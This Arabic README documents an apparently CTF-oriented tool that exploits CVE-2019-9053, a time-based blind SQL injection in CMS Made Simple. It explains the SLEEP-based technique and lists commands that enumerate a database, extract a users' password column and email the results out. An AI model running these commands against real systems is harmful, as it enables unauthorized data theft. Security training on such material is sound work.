
أداة حقن SQL أعمى زمني لـ MySQL - CVE-2019-9053
MySQLi.py هو مشروع تدريبي شخصي، مستوحى من Exploit-DB exploit 46635، استُخدم خلال غرفة SimpleCTF على موقع TryHackMe.
ما لفت انتباهي في الأداة الأصلية هو قدرتها على استخراج بيانات الاعتماد وحتى كسر تجزئة كلمة المرور تلقائيًا. وبدافع من ذلك، أردت كتابة نسختي الخاصة - أكثر حداثة، بواجهة أفضل وخيارات تخصيص أكثر. ربما توجد أدوات مشابهة بالفعل، لكني آمل أن يكون هذا البرنامج الصغير إضافة أخرى لعالم الاختراق الأخلاقي!
تستغل الأداة CVE-2019-9053، وهي ثغرة في CMS Made Simple < 2.2.10 تعرض معلمة غير منقية لهجوم حقن SQL أعمى قائم على الوقت، دون الحاجة إلى مصادقة. نظرًا لأن استجابة الويب لا تظهر البيانات مباشرة، تعمل التقنية عن طريق حقن شروط IF(SUBSTRING(...), SLEEP(n), 0) وقياس زمن الاستجابة لتخمين كل حرف، حرفًا تلو الآخر، من قاعدة البيانات والجداول والأعمدة والبيانات.
MySQLi demo
pip install -r requirements.txt
لاستخدام العلامة --email، أنشئ ملف .env في نفس المجلد.
استخدم القالب من ملف .env.example:
[email protected]
GMAIL_PASS=xxxx xxxx xxxx xxxx
يجب أن تكون كلمة المرور هي كلمة مرور تطبيق Google، وليس كلمة مرور Gmail العادية. يمكنك إنشاء واحدة على: myaccount.google.com/apppasswords
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] Time-Based Blind SQL Injection for MySQL
Author: Isaac Muñoz - @rgkue | Github: github.com/rgkue/mysqli
Options:
--url <url> Target URL (required)
--mode <mode> Attack mode: database / tables / columns / exfil
--sleep <seconds> Sleep time for time-based injection (default: 5)
--delay <seconds> Delay between requests
--field <name> Vulnerable form field name (default: username)
--max <positions> Max character positions to extract (default: 40)
--table <name> Table name (required for columns/exfil)
--column <name> Column name (required for exfil)
--offset <n> Row offset - 0=first, 1=second... (default: 0)
--email <address> Send results to email (optional)
--output <file> Save data on a file
--help, -h Show this help message and exit
Examples:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email [email protected]
# 1. Get the active database name
python3 mysqli.py --url http://target/login.php --mode database
# 2. List tables (use --offset to iterate)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. List columns from a table
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. Extract data from a column
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. Run multiple modes in one command
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. Save results to a file
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. Send report by email
python3 mysqli.py --url http://target/login.php --mode database,tables --email [email protected]
# 8. Custom injection field
python3 mysqli.py --url http://target/search.php --mode database --field search
MySQLi.py مصممة حصريًا للاستخدام التعليمي وفي البيئات التي لديك فيها إذن صريح لإجراء اختبارات أمنية.
استخدام هذه الأداة ضد أنظمة دون إذن كتابي مسبق من المالك غير قانوني وقد يشكل جريمة جنائية بموجب قوانين العديد من الدول. المؤلف ليس مسؤولاً عن أي ضرر أو فقدان بيانات أو عواقب قانونية أو أي ضرر آخر ناتج عن سوء استخدام هذا البرنامج.
استخدمها فقط في مختبراتك الخاصة أو بيئات CTF أو منصات التدريب مثل TryHackMe أو HackTheBox أو الأنظمة التي لديك الإذن باختبارها.
اختراق سعيد! :)